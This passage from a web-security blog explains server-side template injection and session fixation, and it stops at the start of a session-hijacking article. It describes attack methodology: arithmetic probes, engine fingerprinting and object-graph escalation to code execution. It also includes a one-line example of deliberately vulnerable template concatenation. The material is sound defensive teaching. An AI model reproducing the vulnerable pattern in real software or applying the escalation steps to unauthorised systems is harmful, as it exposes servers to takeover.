Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html --- ## Server-Side Template Injection: From Templates to RCE > How SSTI works: user input reaching template engines, detecting the flaw, sandbox escapes to remote code execution, and how to template safely. - URL: https://blog.pwnsy.com/server-side-template-injection-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: advanced - Category: web-security - Tags: ssti, web-security, rce, template-injection, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Server-side template injection happens when user input is fed into a template engine as template code instead of as data, so the attacker's input is evaluated on the server. - Template engines are near programming languages, so injection frequently escalates from reading server data to full remote code execution. - Detection uses simple expression probes: if a template like the sum of two numbers is evaluated and returns their product, input is reaching the engine. - The engine's built-in sandbox is a speed bump, not a boundary; published escapes reach dangerous objects, so the real fix is to never build templates from user input. ### Key Takeaways - SSTI is distinct from cross-site scripting: XSS runs in the victim's browser, SSTI runs on your server, which is why its ceiling is remote code execution. - The root cause is string-concatenating user input into a template, rather than passing it as bound data to a fixed template. - Each engine has its own syntax and its own escape chain, so exploitation is engine-specific once the engine is identified. - Template sandboxes have a long history of being escaped and should never be relied on as the sole control. - The durable fix is to keep templates static, pass user input only as data through the engine's context, and prefer logic-less templating for untrusted content. Template engines exist to mix fixed layout with dynamic data. You write a template with placeholders, the engine fills the placeholders with values, and out comes a page or an email. The engine treats the template as code and the values as data. Server-side template injection, SSTI, is what happens when user input crosses that line and lands in the template as code, where the engine evaluates it on the server. The reason SSTI is treated as a top-tier bug is the nature of template engines. They are not simple string replacers; they support expressions, object access, and method calls. Once an attacker's input is being evaluated by one, the path from a curious probe to running arbitrary commands on the server is often short. ## The mistake that causes it The safe way to use a template engine is to load a fixed template and pass user data into it as bound values. The engine keeps the template and the data separate. The unsafe way is to build the template string itself out of user input, usually by concatenation. Consider a feature that personalises a greeting by inserting a name directly into the template source rather than into the rendering context. Whatever the user types becomes part of the template the engine compiles and evaluates. If they type template syntax, the engine runs it. ``` render("Hello " + userName) // userName is compiled as template code render("Hello {{ name }}", {name}) // userName is passed as data, safe ``` The first line is the whole vulnerability. User input is being parsed as template language. The second passes the same input as a bound value, which the engine escapes and never executes. ## SSTI is not XSS The two are easy to confuse because both involve untrusted input reaching output, but they execute in different places and have different ceilings. | | Cross-site scripting | Server-side template injection | |---|---|---| | Where code runs | Victim's browser | Your server | | Language evaluated | HTML and JavaScript | The template engine's expression language | | Worst case | Session theft, actions as the victim | Remote code execution on the server | | Root cause | Unescaped output in the page | User input compiled as template code | Because SSTI runs server-side, its worst case is not stealing a session; it is owning the host. On MITRE ATT&CK this fits exploitation of a public-facing application, [T1190](https://attack.mitre.org/techniques/T1190/), when the injection reaches code execution. ## How it is detected Finding SSTI starts with a mathematical probe rather than an HTML one. If injecting a template expression that multiplies or adds two numbers causes the response to contain the computed result, the input is being evaluated by an engine. A response that echoes the literal text means it is being treated as data; a response that shows the arithmetic result means it is being executed. From there the tester identifies which engine is in play, because syntax differs between them. Curly-brace expressions, percent tags, and dollar-brace forms point at different engines, and the follow-on payloads are engine-specific. Once the engine is known, the tester walks its object model to reach useful capabilities. ## From expression to remote code execution The escalation is a walk through the language's own object graph. Template expression languages can usually access an object's attributes and methods, and from a starting object an attacker can often navigate to base classes, then to imported modules, then to functions that read files or spawn processes. What begins as evaluating a small expression turns into calling the runtime's process or file APIs. This is why SSTI is grouped with the most serious server-side flaws. The pattern of untrusted input driving server-side execution is shared with command injection and unsafe deserialization, and the defensive mindset carries across all three. See [Command Injection Explained](/command-injection-explained) and [Insecure Deserialization Explained](/insecure-deserialization-explained) for the neighbouring cases. Several template engines ship a sandbox mode meant to restrict what expressions can reach. Treat it as hardening, never as the control that keeps you safe. These sandboxes have a long, public history of being escaped, because the expression language exposes enough of the object model to eventually reach a forbidden capability by an indirect route. If your safety depends on the sandbox holding, one published escape is full remote code execution. Keep untrusted input out of the template entirely. ## Why filtering payloads does not work Blocking specific characters or keywords in input is a losing effort here. Each engine has a rich syntax with many equivalent ways to express the same access, and the object graph offers many routes to the same dangerous function. Filtering the braces of one engine ignores the tags of another, and stripping one keyword leaves ten synonyms. As with the other injection classes, the attacker needs a single path the filter forgot. The problem is not that the input contained bad characters. It is that user input was compiled as code at all. Fix that, and there is no payload to filter. For the broader discipline of handling untrusted input, see the [Input Validation Guide](/input-validation-guide). ## How to defend against SSTI Keep the template and the data on opposite sides of a line the attacker cannot cross. 1. **Never build templates from user input.** Templates should be static assets defined by developers. User input enters only as bound data passed into the rendering context, never concatenated into the template source. This single rule eliminates the vulnerability. 2. **Pass untrusted data as context values.** Use the engine's parameter binding so values are escaped and treated as data. If you find yourself constructing template strings at runtime from request data, stop and redesign. 3. **Prefer a logic-less template engine for untrusted content.** Engines that support little or no expression evaluation give an attacker nothing to reach even if input leaks into a template. Choose these where users influence templated output, such as themes or notifications. 4. **Do not rely on the sandbox.** If an engine offers a sandbox, enable it as one layer, but do not treat it as the boundary. Assume it can be escaped and put the real control on keeping input out of templates. 5. **Run the renderer with least privilege.** Render in a low-privilege, isolated context so that if execution is reached, the blast radius is contained. Segmentation and dropped privileges limit what a successful escape can do. 6. **Validate and constrain any input that must influence templates.** Where users genuinely need to affect layout, offer a fixed set of choices or a strict schema rather than free-form template text. The one-line mental model for avoiding SSTI is to keep user input in the rendering context and out of the template source. A static template plus bound data is safe by construction, because the engine only ever executes code the developer wrote. The moment request data is concatenated into a template string, you have handed the attacker your server's expression language. ## Where SSTI tends to appear The bug follows a specific design temptation, so it clusters in predictable features. Knowing where to look shortens both testing and review. The most common home is user-customisable output. Any feature that lets a user shape how something is rendered invites a developer to build a template from that user's input. Email and notification templates are a frequent example, where an administrator or user edits a message body that the server then renders with dynamic values. If that editable body is compiled as a template, the editor controls template code. A second home is personalisation that inserts a value into a template source rather than into the rendering context. A greeting that puts a name directly into the template string, a subject line assembled by concatenation, or a document generated from a user-supplied layout all cross the line from data to code. The feature looks harmless because it only inserts a name or a title, and the mistake is that the insertion happens in the template rather than in the data passed to it. A third home is any place that stores template fragments and later renders them with request data mixed in. Content management features, theme systems, report builders, and dashboard widgets often let users provide snippets. When those snippets are rendered by a full-featured engine, the snippet author has an expression language on the server. The common signal in all three is the same design decision seen from different angles: the template string is being constructed from input that a user can influence. Wherever a feature description includes the words custom, template, theme, or layout, check whether the customisation lands in the template source or stays as bound data. ## A worked example: from probe to object graph Walk the tester's path from first suspicion to a foothold, staying at the level of mechanism so it applies across engines. A page reflects a value you control, say a name field, back into the response. The first question is whether that value is being rendered as data or evaluated as template code. The probe is arithmetic, not markup. Submit an expression that an engine would evaluate to a number a plain string could not, for example a small multiplication written in the candidate engine's expression syntax. If the response contains the literal text you sent, the input is being treated as data and there is no injection at that point. If the response contains the computed product, the engine evaluated your input, and you have server-side template injection. The next step is fingerprinting the engine, because every engine has its own syntax and its own escape chain. Different bracket styles, tag styles, and comment styles evaluate under one engine and error under another. Sending a small set of expressions and watching which produce results, which produce errors, and what those errors look like narrows the field to a specific engine. With the engine known, exploitation becomes a walk through its object model. Expression languages typically let you read an object's attributes and call its methods. From an ordinary starting object, a tester navigates to its class, from the class to base classes, from there to loaded modules, and from a module to a function that reads files or spawns a process. Each hop uses only the language's legitimate reflection and attribute access. The endpoint is a call into the runtime's file or process interface, which is remote code execution. The important point is that no step is a trick the engine forbids; the engine is doing exactly what it was built to do, and the flaw was letting attacker input become the expression at all. ## Detection signals: finding and confirming SSTI SSTI hides among ordinary reflected values, so detection combines targeted probing with error and behaviour analysis. - **Arithmetic evaluation.** The definitive signal is an expression that evaluates to a value a plain string cannot. If a template expression that multiplies two numbers returns their product in the response, the input reached an engine. This is the single most reliable probe. - **Engine-specific syntax responses.** Send expressions in several engines' syntaxes and observe which evaluate and which are echoed. The pattern of what runs and what errors identifies the engine and confirms evaluation. - **Distinctive template errors.** Malformed expressions often produce engine-specific error messages or stack traces. An error that names a template engine, a template compilation step, or an expression parser is strong evidence that input is being compiled as template code. - **Reflection points that differ from XSS behaviour.** A value that renders inertly as HTML but transforms when given template syntax points at server-side evaluation rather than browser-side rendering. If braces or tags are being interpreted before the response leaves the server, that is the engine. - **Code review for the root cause.** In source, search for template rendering calls whose template argument is built from request data by concatenation or interpolation, rather than a fixed template file with data passed as context. That construction is the vulnerability, and finding it in code is more certain than any black-box probe. Confirming SSTI can tip immediately into code execution, because the same object walk that proves the bug is the path to running commands. When testing systems you are authorised to assess, stop at the least intrusive proof that settles the question, an arithmetic evaluation, rather than reaching for a process-spawning payload. The math probe proves evaluation without touching the host, which is all a finding needs. ## SSTI among related server-side flaws SSTI belongs to a family where untrusted input drives server-side execution. Placing it next to its neighbours clarifies what is specific to it. | Flaw | What is confused | The interpreter | Root fix | |---|---|---|---| | Server-side template injection | Data treated as template code | The template engine | Keep templates static, pass input as context data | | Command injection | Data treated as shell syntax | The system shell | Pass arguments to APIs, never build shell strings | | SQL injection | Data treated as query syntax | The database | Parameterised queries, bound values | | Insecure deserialization | Data treated as object state and behaviour | The deserializer | Do not deserialize untrusted data, or constrain types | | Cross-site scripting | Data treated as page markup or script | The victim's browser | Contextual output encoding | The unifying mistake across the server-side rows is the same: input that should be inert data is handed to an interpreter that treats it as instructions. SSTI is the case where the interpreter is a template engine, and because template engines expose expressions, attribute access, and method calls, the reachable ceiling is code execution on the server. The defensive instinct that works for all of them is to keep a firm boundary between the code the developer wrote and the data the user supplied. ## Common misconceptions **SSTI is a kind of XSS.** They share the shape of untrusted input reaching output, and they run in different places with different ceilings. XSS runs in the victim's browser; SSTI runs on your server, so its worst case is host compromise rather than session theft. Treating SSTI as merely an output-encoding problem misses that it is server-side code execution. **Escaping output prevents SSTI.** Output encoding defends against XSS by neutralising markup in the rendered page. SSTI happens earlier, when the engine compiles attacker input as template code, before any output encoding applies. The fix is upstream: do not let input become the template. **The engine's sandbox makes it safe.** Sandboxes are hardening with a long public history of being escaped, because the expression language exposes enough of the object model to reach a forbidden capability by an indirect route. A design whose safety depends on the sandbox holding is one published escape away from full compromise. **Filtering dangerous characters solves it.** Each engine offers many equivalent ways to express the same access, and the object graph offers many routes to the same function. Blocking braces of one engine ignores the tags of another, and stripping a keyword leaves synonyms. The attacker needs one route the filter forgot. **Only certain engines are affected.** Any engine that compiles a template from a string is exploitable when that string includes user input. The syntax and the escape chain differ by engine, and the underlying mistake, compiling untrusted input as a template, is engine-independent. ## How it evolved Template engines grew powerful to make dynamic pages and emails easy to build, adding expressions, filters, attribute access, and method calls. That power is what turns an injection into code execution. As applications increasingly let users influence templated output, through themes, email templates, dashboards, and notification formats, the temptation to build templates from user input grew, and with it the attack surface. Security researchers formalised the class by showing that a simple evaluation probe reliably reveals it and that the escalation follows the engine's own object model to code execution. The methodology became standard: detect with an arithmetic probe, fingerprint the engine, then walk the object graph. Defensive guidance converged on a single durable rule, keep templates static and pass user input only as bound context data, because every attempt to filter payloads or lean on a sandbox eventually met a bypass. The lasting lesson mirrors the other injection classes: the fix is architectural, at the boundary between code and data, rather than a filter on the input. ## Frequently asked questions **How is SSTI different from XSS in one sentence?** XSS executes in the victim's browser and tops out at actions as the victim, while SSTI executes on your server and tops out at remote code execution on the host. **What is the safest way to confirm SSTI?** An arithmetic evaluation probe. If a template expression that multiplies two numbers returns the product, input is being evaluated. It proves the bug without touching the host, which is the least intrusive confirmation. **Can I rely on the engine's sandbox mode?** No, not as the boundary. Enable it as one layer of hardening, and assume it can be escaped, because these sandboxes have repeatedly been escaped. Put the real control on keeping untrusted input out of templates. **Why does character filtering not fix SSTI?** Because the problem is that input was compiled as code at all, not that it contained particular characters. Engines offer many equivalent syntaxes and the object graph offers many routes, so a blocklist always leaves a path. Remove the compilation of untrusted input and there is nothing to filter. **What does the real fix look like in code?** Load a fixed template defined by developers, and pass user input only as bound values into the rendering context, never concatenated into the template string. A static template plus bound data is safe by construction, because the engine only ever executes code the developer wrote. **Is a logic-less template engine worth using?** Where users influence templated output, yes. An engine with little or no expression evaluation gives an attacker nothing to reach even if input leaks into a template, which shrinks the ceiling dramatically compared with a full-featured engine. **How do I limit damage if execution is reached anyway?** Render in a low-privilege, isolated context so a successful escape has a small blast radius. Segmentation and dropped privileges do not prevent SSTI, and they contain what a foothold can reach, which matters when the primary control fails. **Where should I look first when reviewing for SSTI?** Features described as custom, template, theme, layout, or notification, where user input might shape rendered output. In source, find rendering calls whose template argument is built from request data by concatenation. That construction is the vulnerability, and it is faster to spot in code than to find by probing. **Does SSTI only lead to code execution, or are there lesser impacts?** Even without reaching code execution, an attacker who can evaluate expressions can often read server-side data, configuration, and objects reachable through the engine's context. That information disclosure is serious on its own, and it is usually a stepping stone toward the full object walk to execution. Server-side template injection is what happens when a tool built to separate code from data is used in a way that merges them. The engine does exactly what it is designed to do, evaluate the template it is given, and the flaw is that the template was partly written by the attacker. Keep templates static, pass user input only as bound context data, choose a logic-less engine for untrusted content, and never lean on the sandbox alone. To see how the payloads that ride these bugs are structured, see our Exploit Intelligence dashboard, and for the wider category, the [OWASP Top 10](/owasp-top-10-explained). ## Related guides - [Command Injection Explained](/command-injection-explained) - [Insecure Deserialization Explained](/insecure-deserialization-explained) - [Input Validation Guide](/input-validation-guide) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - PortSwigger Web Security Academy: Server-Side Template Injection (PortSwigger): https://portswigger.net/web-security/server-side-template-injection - OWASP Testing Guide: Testing for Server-Side Template Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection - MITRE ATT&CK: Exploitation for Client Execution / Server (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/ --- ## Session Fixation Explained: Forcing a Known Session ID > How session fixation works: an attacker plants a session ID, the victim logs in with it, and the attacker inherits the session. Plus the fix. - URL: https://blog.pwnsy.com/session-fixation-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: session-fixation, web-security, authentication, session-management, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Session fixation plants a session ID the attacker already knows, then waits for the victim to authenticate it, so the attacker ends up sharing a logged-in session. - It works only when an application keeps the same session ID before and after login, letting a pre-login token carry over into an authenticated one. - The attacker sets the token through a URL parameter, a cross-site scripting write, or a crafted cookie, then sends the victim to log in normally. - The complete fix is one line of discipline: regenerate the session ID at login and at every privilege change, so any pre-login token becomes worthless. ### Key Takeaways - Fixation is the mirror of hijacking: instead of stealing a token the victim has, the attacker plants one they already know. - The root cause is an application that reuses the pre-authentication session ID after a successful login. - Accepting session IDs from URL parameters makes fixation far easier and should be disabled outright. - Regenerating the session ID on login is the single control that closes the attack, and it also hardens against hijacking replay. - SameSite cookies, the HttpOnly flag, and tight session timeouts remove the common ways an attacker plants or reuses the fixed token. Most session attacks steal a token that already belongs to the victim. Session fixation runs the idea in reverse. The attacker chooses a session identifier first, gets the victim to log in while carrying it, and then uses that same identifier to share the victim's authenticated session. The victim does the authentication; the attacker keeps the result. It is a subtle bug because nothing looks stolen. The victim types their real password into the real site over a real connection. The flaw is that the application trusts a session ID it should have thrown away. ## The one condition that makes it possible Session fixation depends on a single application behaviour: the session ID stays the same across the login boundary. If the token you carry as an anonymous visitor is the same token you carry after authenticating, then anyone who knew the pre-login token now holds a valid post-login session. A correctly built application issues a brand new session ID the moment a user authenticates. The pre-login token is discarded and can never be upgraded to an authenticated one. When that regeneration is missing, fixation becomes possible. ## How the attack runs The attack has three moves. 1. **Obtain a valid session ID.** The attacker visits the target application and receives a session token like any anonymous visitor. It is not authenticated yet, but the application already recognises it. 2. **Plant that token in the victim's browser.** The attacker forces the victim to adopt the same session ID before they log in. 3. **Wait for the victim to authenticate.** The victim logs in normally. If the application reuses the pre-login ID, the token the attacker planted is now attached to the victim's authenticated session. The attacker presents the same token and is logged in as the victim. The interesting step is planting the token. Attackers have a few routes. **URL parameters.** Some applications accept the session ID from the query string, for example a link ending in `;jsessionid=` or a `?sid=` parameter. The attacker emails or posts a link with a session ID they chose. Anyone who clicks it adopts that ID. This is the classic and easiest fixation vector, which is why accepting session IDs from URLs is discouraged so strongly. **Cross-site scripting.** If the site has an XSS flaw, the attacker's script can write the cookie directly, setting the victim's session ID to a known value. **A crafted cookie.** In some setups an attacker can set a cookie for the target domain from a related subdomain or through a meta tag, fixing the value before login. ## Fixation versus hijacking The two attacks are close cousins and share most of their defenses, so it helps to hold the difference clearly. | | Session hijacking | Session fixation | |---|---|---| | What the attacker does | Steals a token the victim already holds | Plants a token the victim then authenticates | | When it happens | After the victim is logged in | Before the victim logs in | | How the token is obtained | XSS, interception, malware | URL parameter, XSS write, crafted cookie | | Core fix | Protect the token from theft | Regenerate the token at login | The full mechanics of the theft-based version are covered in [Session Hijacking Explained](/session-hijacking-explained). The good news is that the one control that stops fixation, regeneration at login, also limits how long any hijacked token stays valid, so the effort pays off twice. Session fixation leaves no visible trace for the user. They visit the genuine site, log in with their genuine password, and everything works. There is no phishing page and no credential theft to notice. The compromise lives entirely in the server's decision to keep an old session ID, which is why the fix has to be on the server, not in user awareness. ## Why input filtering does not help here There is no malicious payload to filter. The session ID the attacker plants is a perfectly valid token the application itself issued. Blocking odd-looking values does nothing, because the value is legitimate. The only thing that neutralises it is invalidating that token at the moment authentication succeeds, so its pre-login identity cannot survive into an authenticated one. This is also why fixation belongs to the broader family of identification and authentication failures in the [OWASP Top 10](/owasp-top-10-explained). The weakness is in how identity is bound to a session, not in any single tainted input. ## Where JWT-based sessions fit Applications that carry session state in a JSON Web Token face a related version of the problem. The token is issued at login, so the natural design already mints a fresh credential at authentication, which sidesteps classic fixation. The risks shift to how that token is signed, validated, and expired, and to whether a pre-login token can be reused. See [JWT Attacks Explained](/jwt-attacks-explained) for those specifics. ## A worked example, step by step Following the attack through once, conceptually and without working exploit code, makes the abstract three-move sequence concrete and shows exactly where the fix lands. An application accepts a session identifier from the URL, using a parameter like `?sid=`. This is the setup that makes fixation easy. The attacker visits the site as an anonymous user and receives a session token, or simply chooses a valid-looking identifier the application will accept. Call that value the fixed identifier. It is not authenticated to anyone yet, but the application already recognizes it as a session. The attacker now crafts a link to the real site that carries the fixed identifier in the URL, and delivers it to the victim through email, a forum post, or a message. The link points at the genuine application, so nothing about it looks suspicious to someone who trusts the domain. When the victim clicks, their browser adopts the fixed identifier as their session for that site. The victim then logs in normally. They see the real login page on the real domain, type their real password, and authenticate successfully. Here is the flaw: if the application keeps the same session identifier across the login boundary, the fixed identifier the attacker chose is now attached to the victim's authenticated session. The victim's successful login upgraded the attacker's known token. The attacker, who has known the fixed identifier all along, now presents it to the application. The server looks it up, finds an authenticated session belonging to the victim, and serves the victim's account. The attacker never stole anything and never phished a password. They simply knew, in advance, the identifier that the victim's own login would authenticate. The single broken assumption in the whole sequence is that the post-login session keeps the pre-login identifier. Regenerating the session identifier at the moment authentication succeeds breaks precisely that assumption. The identifier the attacker fixed is discarded the instant the victim logs in, the victim receives a fresh identifier the attacker never saw, and the attacker's known token points at nothing. One action, placed at the login boundary, removes the entire attack. ## Why the fix has to live on the server It is tempting to look for a client-side or network defense, and it helps to see why those do not solve fixation. Input filtering does not apply, because the planted token is a valid identifier the application itself issued. There is no malicious string to detect. Blocking odd input does nothing when the input is legitimate. Transport encryption does not apply, because the victim's login genuinely happens over an encrypted connection to the real site. Nothing is intercepted. The token was planted before the secure login, not stolen during it. User awareness does not apply, because the victim sees nothing wrong. They visit the genuine domain, see the genuine login page, and enter their genuine password. There is no phishing page to recognize and no warning sign to heed. That leaves the server. The decision to keep or discard the pre-login identifier is made server-side, at the moment authentication succeeds, and that is the only place the attack can be neutralized. This is why every serious remediation for fixation is a server behavior, and why session regeneration at login is described as the complete fix rather than one control among many. ## How fixation fits the OWASP picture Session fixation belongs to the broader family of identification and authentication failures in the [OWASP Top 10](/owasp-top-10-explained), catalogued under [A07 Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/). The reason it sits there rather than among injection or access-control flaws is that the weakness is in how identity is bound to a session. The application authenticates the user correctly and then binds that authenticated identity to a session identifier that an outsider already knew. The bug is in the binding step, not in the credential check. Seeing it this way connects fixation to its neighbors. Weak session identifiers, missing regeneration, session tokens that never expire, and identifiers exposed in URLs are all session-management weaknesses in the same category. An application that gets one of them wrong often gets others wrong too, because they share a root cause: session identity treated casually rather than as a sensitive credential with a defined lifecycle. ## How the weakness has changed over time Session fixation was far more common when applications routinely carried the session identifier in the URL. In that era, passing the identifier through a query string or a path segment was a normal pattern, sometimes used to support clients that did not accept cookies, and it handed attackers the simplest possible planting vector. Fixation was easy because the token was easy to place. Two shifts reduced its prevalence. Frameworks moved toward cookie-based sessions by default and away from URL-borne identifiers, which removed the easy planting route from most applications. And framework authentication increasingly regenerated the session at login as standard behavior, which closed the root cause for anyone using the built-in login flow. The combined effect is that a developer using a mainstream framework normally gets protection without thinking about it. The weakness did not disappear. It moved to the places where the defaults are bypassed: hand-rolled authentication, legacy systems that still accept identifiers from URLs, and applications that reuse a session across login for convenience or to preserve pre-login state carelessly. The pattern mirrors many web weaknesses. The framework default became safe, so the remaining risk concentrates in custom code and older systems where the safe default was never adopted. This is why a security review still checks for it directly rather than assuming a modern stack rules it out. ## Common mistakes and misconceptions Several misunderstandings leave fixation unaddressed even in applications that pass a casual review. The first is assuming that setting a new cookie value at login is the same as regenerating the session. Some code replaces the cookie the browser holds without actually invalidating the old session identifier on the server. If the pre-login identifier still maps to a live session server-side, the attack survives. Regeneration has to invalidate the old server-side session, not merely overwrite the client's cookie. The second is believing that using cookies instead of URLs makes an application immune. Refusing session identifiers from URLs removes the easiest planting vector, which is genuinely valuable, but an attacker with an XSS bug or the ability to set a cookie from a related subdomain can still plant a fixed value. URL hardening reduces the attack surface. Regeneration at login is what actually closes the attack. The third is treating fixation as a rare or theoretical bug. It is a design default in any framework configured to reuse the session across login, which happens more often than teams expect when authentication is built by hand rather than using a framework's session manager. The bug is common precisely because doing nothing special produces it. The fourth is regenerating at login but not at privilege escalation. An application that mints a fresh session at login but keeps it unchanged when a user steps into an administrative area leaves a smaller version of the same gap. A fixed low-privilege session can ride an escalation into a higher-privilege one if the identifier is not rotated at that boundary too. ## How to detect session fixation weakness Fixation is best eliminated by design, and it is also testable, which matters because the bug is invisible to users and leaves little runtime trace. The check is straightforward in concept. - **Compare the identifier across the login boundary.** Record the session identifier the application issues before authentication, log in, and check whether the identifier is the same afterward. If it is unchanged, the application is vulnerable to fixation. A correct application issues a new identifier at login. - **Confirm the old identifier is dead.** After login, present the pre-login identifier again and confirm it no longer maps to any session. If the old identifier still resolves to a session, regeneration is incomplete even if a new one was also issued. - **Test whether identifiers are accepted from the URL.** Supply a session identifier in a query string or path parameter and see whether the application honors it. Acceptance from the URL is the easiest planting vector and should be rejected. - **Check privilege boundaries.** Repeat the before-and-after comparison around a privilege step-up, such as entering an admin area, to confirm the identifier rotates there too. These checks are cheap to run and belong in the authentication test suite, because a regression that quietly removes session regeneration reintroduces the vulnerability without any visible symptom. Runtime detection is weak for fixation, so testing the behavior directly is the reliable path. ## Frequently asked questions **Is session fixation still relevant with modern frameworks?** Yes, though modern frameworks make it easy to avoid. Most mainstream frameworks regenerate the session at login when their built-in authentication is used, which closes the attack by default. The risk reappears when developers build authentication by hand, reuse a session across login for convenience, or disable regeneration without understanding why it exists. The vulnerability is a configuration and design issue that frameworks help with but do not guarantee away. **How is session fixation different from session hijacking?** In fixation, the attacker plants a session identifier they already know and waits for the victim to authenticate it, so the attack happens before login. In hijacking, the attacker steals a token the victim already holds and replays it, which happens after login. They are mirror images that share most defenses, and regenerating the identifier at login helps against both. The theft-based version is covered in [Session Hijacking Explained](/session-hijacking-explained). **Does regenerating the session identifier have any downside?** Very little. It costs almost nothing at runtime and is a single call in most frameworks. The only care needed is to preserve any legitimate pre-login state the application wants to carry forward, such as a shopping cart, by migrating that data to the new session rather than losing it. The identifier itself must change and the old one must be invalidated, but associated data can be moved across deliberately. **Can SameSite cookies alone prevent fixation?** No. SameSite reduces some cross-site ways an attacker might plant a cookie, and it is worth setting, but it does not address the root cause, which is the server reusing the pre-login identifier after authentication. An attacker who plants the identifier through a URL parameter or an XSS write can still succeed if regeneration is missing. SameSite is supporting hygiene, and regeneration at login is the actual fix. **Why does accepting session IDs from the URL make fixation worse?** Because it gives the attacker the simplest possible planting method. If the application reads the identifier from a query string, the attacker only needs to send the victim a link carrying a chosen identifier, and clicking it adopts that value. No XSS bug and no cookie manipulation is required. Restricting session identifiers to cookies removes this easy vector and forces an attacker to find a harder way to plant a value. **Does a JWT-based session avoid fixation?** Largely, because a JWT is issued at login, so the natural design already mints a fresh credential at authentication and there is no pre-login token to carry over. The risk shifts to how the token is signed, validated, and expired, and to whether a pre-login token can somehow be reused. A design that issues an unauthenticated token before login and then simply marks it authenticated afterward would reintroduce the same flaw, so the protective property comes from minting a genuinely new token at authentication rather than from the format itself. Those concerns are covered in [JWT Attacks Explained](/jwt-attacks-explained). ## How to defend against session fixation The primary control is short and non-negotiable; the rest are supporting hygiene. 1. **Regenerate the session ID on every login.** The instant authentication succeeds, issue a new session identifier and invalidate the old one. This single step ends session fixation. Most frameworks expose a one-call method for it, such as regenerating or migrating the session. 2. **Regenerate again on privilege change.** Any step up in privilege, such as entering an admin area or re-authenticating for a sensitive action, should also rotate the token, so a fixed low-privilege session cannot ride into a higher one. 3. **Never accept session IDs from the URL.** Configure the framework to use cookies only and reject session identifiers supplied in query strings or path parameters. This removes the easiest planting vector. 4. **Set HttpOnly, Secure, and SameSite on session cookies.** These block the XSS-write and cross-site paths an attacker uses to fix a cookie, and they harden the session against theft at the same time. 5. **Bind the session to the login and expire it aggressively.** Tie the authenticated session to the moment of login, and apply idle and absolute timeouts so any planted token has a short life even if regeneration were somehow missed. 6. **Invalidate on logout.** Destroy the session server-side at logout rather than only clearing the cookie, so a known token cannot be resurrected. Every mainstream web framework provides a way to regenerate the session ID after authentication. Calling it in your login handler closes session fixation completely and costs almost nothing. If you build authentication by hand, wire that regeneration in first, before anything else, and confirm the pre-login token is genuinely invalidated rather than merely replaced in the cookie. Session fixation is one of the tidier bugs to eliminate, because a single rule removes it: the session a user carries after logging in must never be the session they carried before. Rotate the identifier at authentication and at every privilege boundary, refuse session IDs from URLs, and lock down the session cookie, and the attacker is left holding a token that stops meaning anything the moment the victim signs in. Authentication and session flaws remain among the most reliably exploited weaknesses on the web. Our Exploit Intelligence dashboard tracks how fast identification and authentication failures move from disclosure to active abuse, and the pattern is consistent enough that a missing session regeneration is worth fixing before it ever reaches a threat model. ## Related guides - [Session Hijacking Explained](/session-hijacking-explained) - [CSRF Explained](/csrf-explained) - [JWT Attacks Explained](/jwt-attacks-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: Session Fixation (OWASP): https://owasp.org/www-community/attacks/Session_fixation - OWASP Session Management Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html - OWASP Top 10: A07 Identification and Authentication Failures (OWASP): https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/ --- ## Session Hijacking: Stealing & Replaying Session Tokens > How session hijacking works: cookie theft, XSS-to-session takeover, token replay, and the defenses that keep a stolen session unusable. - URL: https://blog.pwnsy.com/session-hijacking-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: session-hijacking, web-security, authentication, cookies, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained) ### TL;DR - A session token is a temporary password. Steal it and you are logged in as the victim without ever knowing their credentials. - The common theft routes are cross-site scripting that reads the cookie, network interception on unencrypted paths, and malware that lifts cookies straight off the disk. - Once a token is stolen, the attacker replays it against the same application and inherits the victim's authenticated state, including any privilege the account holds. - The controls that hold up bind the token to hard-to-steal properties, mark cookies so scripts and cross-site requests cannot reach them, and rotate the token at every privilege change. ### Key Takeaways - Session tokens grant full account access, so protecting them matters as much as protecting passwords. - The HttpOnly, Secure, and SameSite cookie attributes together remove the three easiest theft routes: script access, plaintext transit, and cross-site leakage. - Regenerating the session ID on login and on privilege change defeats both hijacking replay and session fixation. - Infostealer malware has made cookie theft a mass-market attack, bypassing passwords and multi-factor prompts by stealing an already-authenticated session. - Short session lifetimes, idle timeouts, and server-side revocation shrink the window in which a stolen token is worth anything. When you log in to a web application, the server hands your browser a token, usually a cookie, that proves who you are for the rest of your visit. Every request after that carries the token instead of your password. The application trusts the token completely. That trust is the whole target of session hijacking. Session hijacking is the theft and reuse of that token. An attacker who obtains it does not need your username, your password, or your second factor. They present the token, the server sees a valid session, and they are you for as long as the session lasts. ## What a session actually is HTTP has no memory. Each request stands alone, so the server needs a way to recognise a returning user. The standard answer is a session identifier: a long random value the server generates at login and stores against your account. Your browser sends it back on every request, normally in a cookie, and the server looks it up to know it is still you. The token is a bearer credential. Whoever holds it is treated as the account. There is no further check that the holder is the same person who logged in, which is exactly why stealing 